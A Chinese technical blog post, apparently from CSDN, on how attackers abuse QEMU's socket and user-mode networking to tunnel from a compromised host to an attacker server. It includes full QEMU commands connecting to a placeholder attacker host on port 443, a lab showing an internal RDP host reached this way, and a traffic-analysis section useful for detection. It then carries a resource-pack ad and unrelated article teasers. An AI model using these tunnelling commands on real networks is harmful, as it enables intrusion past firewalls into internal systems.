一种利用合法工具渗透的新型方法

ops/2024/11/13 4:10:48/

摘要

黑客在执行各种攻击步骤时倾向于优先选择合法工具,因为这些工具能帮助他们规避检测系统,同时将恶意软件开发成本降至最低。网络扫描、捕获进程内存转储、数据外泄、远程运行文件,甚至加密驱动器——所有这些都可以通过可信软件完成。为了在受损基础设施内获得立足点并发起攻击,黑客可以利用先前安装的恶意软件或通过公司的远程桌面协议(RDP)服务器或企业VPN与员工一同连接到网络(攻击者必须拥有具有适当权限的账户)。连接到受攻击组织的内部网络的另一种方式涉及使用实用程序设置网络隧道或在企业系统和对手服务器之间转发网络端口,从而使攻击者能够绕过NAT和防火墙,获取对内部系统的访问权限。本片文章讲述就是这类软件。

QEMU利用方法

先来看一段命令行, 该命令可以在没有LiveCD或磁盘映像的情况下启动:

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev
hubport,id=port-sock,hubid=0,netdev=sock -nographic

该命令的参数解释如下:

  • qemu-system-i386.exe: QEMU系统的可执行文件。

  • -m 1M: 指定虚拟机的内存大小为1MB。这里指定的内存量非常小,可以模拟某些特定场景或测试用途。

  • -netdev user,id=lan,restrict=off: 创建一个用户模式网络设备,其ID为lan,并且禁用了限制(restrict=off)。用户模式网络设备允许虚拟机通过主机的网络连接到外部网络

  • -netdev socket,id=sock,connect=<IP>:443: 创建一个基于Socket的网络设备,其ID为sock,并且连接到指定IP地址和端口443。可用于与远程服务器建立网络通信。

  • -netdev hubport,id=port-lan,hubid=0,netdev=lan: 创建一个网络集线器端口,其ID为port-lan,并将其连接到ID为lan网络设备。

  • -netdev hubport,id=port-sock,hubid=0,netdev=sock: 创建另一个网络集线器端口,其ID为port-sock,并将其连接到ID为sock网络设备。

  • -nographic: 这个参数指定不使用图形界面显示虚拟机的输出。通常用于在没有图形界面的环境中运行虚拟机,比如通过SSH连接。

通过上面的命令, 攻击者可以启动一个非常小的QEMU虚拟机, 该虚拟机具有一个基于用户模式的网络设备和一个基于Socket的网络设备, 可以用于建立到指定IP地址和端口的网络连接。

根据QEMU文档描述, QEMU与QEMU虚拟机之间是可以进行远程网络连接的, 如果攻击者攻入一个企业内部, 该企业内部正好也使用了QEMU虚拟机, 那么攻击者便可以建立外网QEMU与企业内网QEMU之间的网络连接。

图片

用户网络堆栈和虚拟集线器

图片

用户网络堆栈式将虚拟机连接到网络的最简单方法, 流量通过主机网络堆栈传递, 虚拟机连接到网络, 就好像它是主机机器上的常规应用程序一样。看下面这条命令:

qemu-system-x86_64 -netdev user,id=mynet0 -device e1000,netdev=mynet0

该命令参数含义如下:

  • qemu-system-x86_64: QEMU系统的可执行文件,用于启动x86_64架构的虚拟机。

  • -netdev user,id=mynet0: 创建一个用户模式网络设备,其ID为mynet0。用户模式网络设备允许虚拟机通过主机的网络连接到外部网络

  • -device e1000,netdev=mynet0: 创建一个e1000型号的网络设备,并将其连接到ID为mynet0网络设备。e1000是一种虚拟网卡设备,常用于QEMU虚拟机中模拟以太网连接。

该命令启动了一个QEMU虚拟机,该虚拟机具有一个用户模式的网络设备,允许连接到外部网络,并使用e1000型号的网络设备模拟以太网连接。

QEMU虚拟集线器是一种网络设备,用于在QEMU虚拟机之间建立网络连接。它类似于物理网络集线器,可以将多个虚拟机连接到同一个网络中,从而实现虚拟机之间的通信。通过虚拟集线器,虚拟机可以进行网络数据包的交换和传输,就像它们连接到同一个物理网络设备一样。虚拟集线器通常与其他网络设备配合使用,如虚拟网络适配器和套接字,以便在虚拟环境中模拟网络通信。

图片

QEMU Socket

图片

这种方式是通过网络套接字连接虚拟机, 以创建虚拟机网络拓扑或链接在不同主机上启动的虚拟机。

首先启动一个VM1, 命令如下:

qemu-system-x86_64 -netdev socket,id=mynet3,listen=:1234 -device e1000,netdev=mynet3

然后启动一个VM2, 并连接到VM1,命令如下:

qemu-system-x86_64 -netdev socket,id=mynet4,connect=127.0.0.1:1234 -device
e1000,netdev=mynet4

VM1在端口1234上监听,而VM2连接到该端口, 对于攻击者来说, 相当于在受害系统中启动一个客户端, 让它连接到攻击者服务器以打开对企业网络的访问权限, 该网络位于运行客户端的系统中, 这种方式几乎不会影响受害系统的性能, 因为攻击者在运行QEMU时既不会使用磁盘映像也不使用LiveCD。

下面将通过一个模拟环境来模拟实现上面技术, 模拟的网络环境主要包含三个部分:

  • InternalHost位于网络内部,没有互联网访问权限,并在端口3389上运行RDP服务器。它模拟了无法访问互联网的隔离系统。

  • PivotHost位于网络内部,但具有互联网访问权限。它模拟了被攻击者入侵并用于到达InternalHost的系统。

  • AttackerServer托管在云中,模拟了攻击者服务器

以下是模拟环境的网络布局情况, 如图:

图片

在以上环境中, 在攻击者服务器上使用QEMU启动了一个来自Kali Linux LiveCD的虚拟机, 一个套接字类型的网络设备连接到虚拟机作为网络适配器, 并在端口443上进行监听。启动命令如下:

qemu-system-x86_64 -boot d -cdrom kali-linux-2023.3-live-amd64.iso -m 6048 -device
e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 2 -netdev socket,id=n1,listen=:443

在PivotHost上运行了另一个QEMU副本,并通过套接字网络设备连接到位于云端的AttackerServer的443端口。此外还连接了一个用户类型的网络设备,通过一个集线器与套接字连接在一起。启动命令如下:

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<AttackerServer>:443 -netdev hubport,id=port-
lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

一旦启动,QEMU在PivotHost和攻击者服务器之间建立了一个网络隧道,更确切地说,是到Kali Linux虚拟机。Kali Linux可以扫描与PivotHost连接的子网以查找其他系统, 如图:

图片

扫描发现了内部主机,其IP地址为192.168.56.109。Nmap显示端口3389是开放的。尝试使用RDP连接到内部主机, 如图:

图片

因此,基本可以确定这种实现网络访问的技术确实有效。除了前面提到的网络设备类型外,QEMU还支持其他几种类型,这些类型也可以被恶意行为者利用。

图片

QEMU网络流量分析

图片

进行流量隧道传输时,QEMU不使用任何额外的加密。它传输封装的数据包是未加密的:发送到服务器的应用层数据包含封装的以太网帧的大小,如图:

图片

上图中封装的以太网帧大小为89(0x59)字节。该值紧随其后的就是封装的以太网帧数据。

将流量进行存储,随后可以通过移除前58个字节(对于TCP:14个字节用于以太网 + 20个字节用于IP + 20个字节用于TCP头 + 4用于内部数据包大小)来获得封装的流量。这可以在从PCAP文件中删除所有不含封装流量的数据包之后,使用Wireshark软件包中的editcap程序来完成。命令如下:

editcap.exe -L -C 58 original.pcap extracted_traffic.pcap

结果是一个PCAP文件,其中包含通过隧道发送的流量, 如图:

图片

 

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享


http://www.ppmy.cn/ops/24714.html

相关文章

【Python】深入理解Pandas中的连续变量与分类变量以提升模型训练效果

你啊你&#xff0c;是自在如风的少年 飞在天地间&#xff0c;比梦还遥远 你啊你&#xff0c;飞过了流转的时间 归来的时候&#xff0c;是否还有青春的容颜 &#x1f3b5; 好妹妹《你飞到城市另一边》 引言&#xff1a; 在使用Python进行数据科学和机器学…

适配器模式(不同类型的 MQ 消息 首次下单消息)

目录 定义 适配不同类型的 MQ 消息 注册开户MQ 内部订单MQ 第三⽅订单MQ 查询⽤户内部下单数量接⼝ 查询⽤户第三⽅下单⾸单接⼝ MQ消息体适配类 代码实现 测试验证 接⼝使⽤适配 代码实现 分别实现两个不同的接⼝ 内部商品接⼝ 第三⽅商品接⼝ 测试验证 定义 …

【C++刷题】优选算法——动态规划第六辑

【模板】01背包 状态表示:dp1[i][j]: 表示从前i个物品中挑选总体积不超过j的物品&#xff0c;在所有的选法中&#xff0c;能挑选出的最大价值dp2[i][j]: 表示从前i个物品中挑选总体积正好等于j的物品&#xff0c;在所有的选法中&#xff0c;能挑选出的最大价值 优化:利用滚动数…

Android CalendarView助你打造精美的Android日历应用

Android CalendarView助你打造精美的Android日历应用 1. 引言 移动应用中的日历功能对于用户来说至关重要&#xff0c;它不仅是时间管理的工具&#xff0c;还能帮助用户记录重要事件和安排活动。因此&#xff0c;一个高效、易用的日历控件对于移动应用的成功至关重要。 传统…

NFTScan | 04.22~04.28 NFT 市场热点汇总

欢迎来到由 NFT 基础设施 NFTScan 出品的 NFT 生态热点事件每周汇总。 周期&#xff1a;2024.04.22~ 2024.04.28 NFT Hot News 01/ ApeCoin DAO 发起「由 APE 代币支持的 NFT Launchpad」提案投票 4 月 22 日&#xff0c;ApeCoin DAO 社区发起「由 APE 代币支持的 NFT Launch…

《Fundamentals of Power Electronics》——Boost电路及仿真

Boost电路的拓扑结构如下所示&#xff1a; 下面是在simulink中搭建的一个Boost电路的仿真实验平台&#xff0c;其中直流输入电压为100V&#xff0c;电感值为1mH(模拟电阻为1毫欧)&#xff0c;电容值为470uF&#xff0c;负载为50欧姆&#xff0c;占空比选择为0.5&#xff0c;开关…

JavaScript(四)

一、JavaScript变量 在 JavaScript 中&#xff0c;你可以使用几种不同的方式来声明变量。以下是主要的几种方式&#xff1a; 使用 var 关键字&#xff1a; 在 ES5 (ECMAScript 5) 及之前的版本中&#xff0c;var 是最常用的声明变量的方式。但是&#xff0c;var 有一个问题&am…

Pytorch入门实战 P08-YOLOv5里面的C3模块实现

目录 1、YOLOv5骨干网络模型图&#xff1a; 2、C3模块介绍&#xff1a; 3、C3模块的主要代码&#xff1a; 4、完整的code 5、运行结果展示&#xff1a; &#xff08;1&#xff09;使用SGD优化器 &#xff08;2&#xff09;使用Adam优化器 &#x1f368; 本文为&#x1f…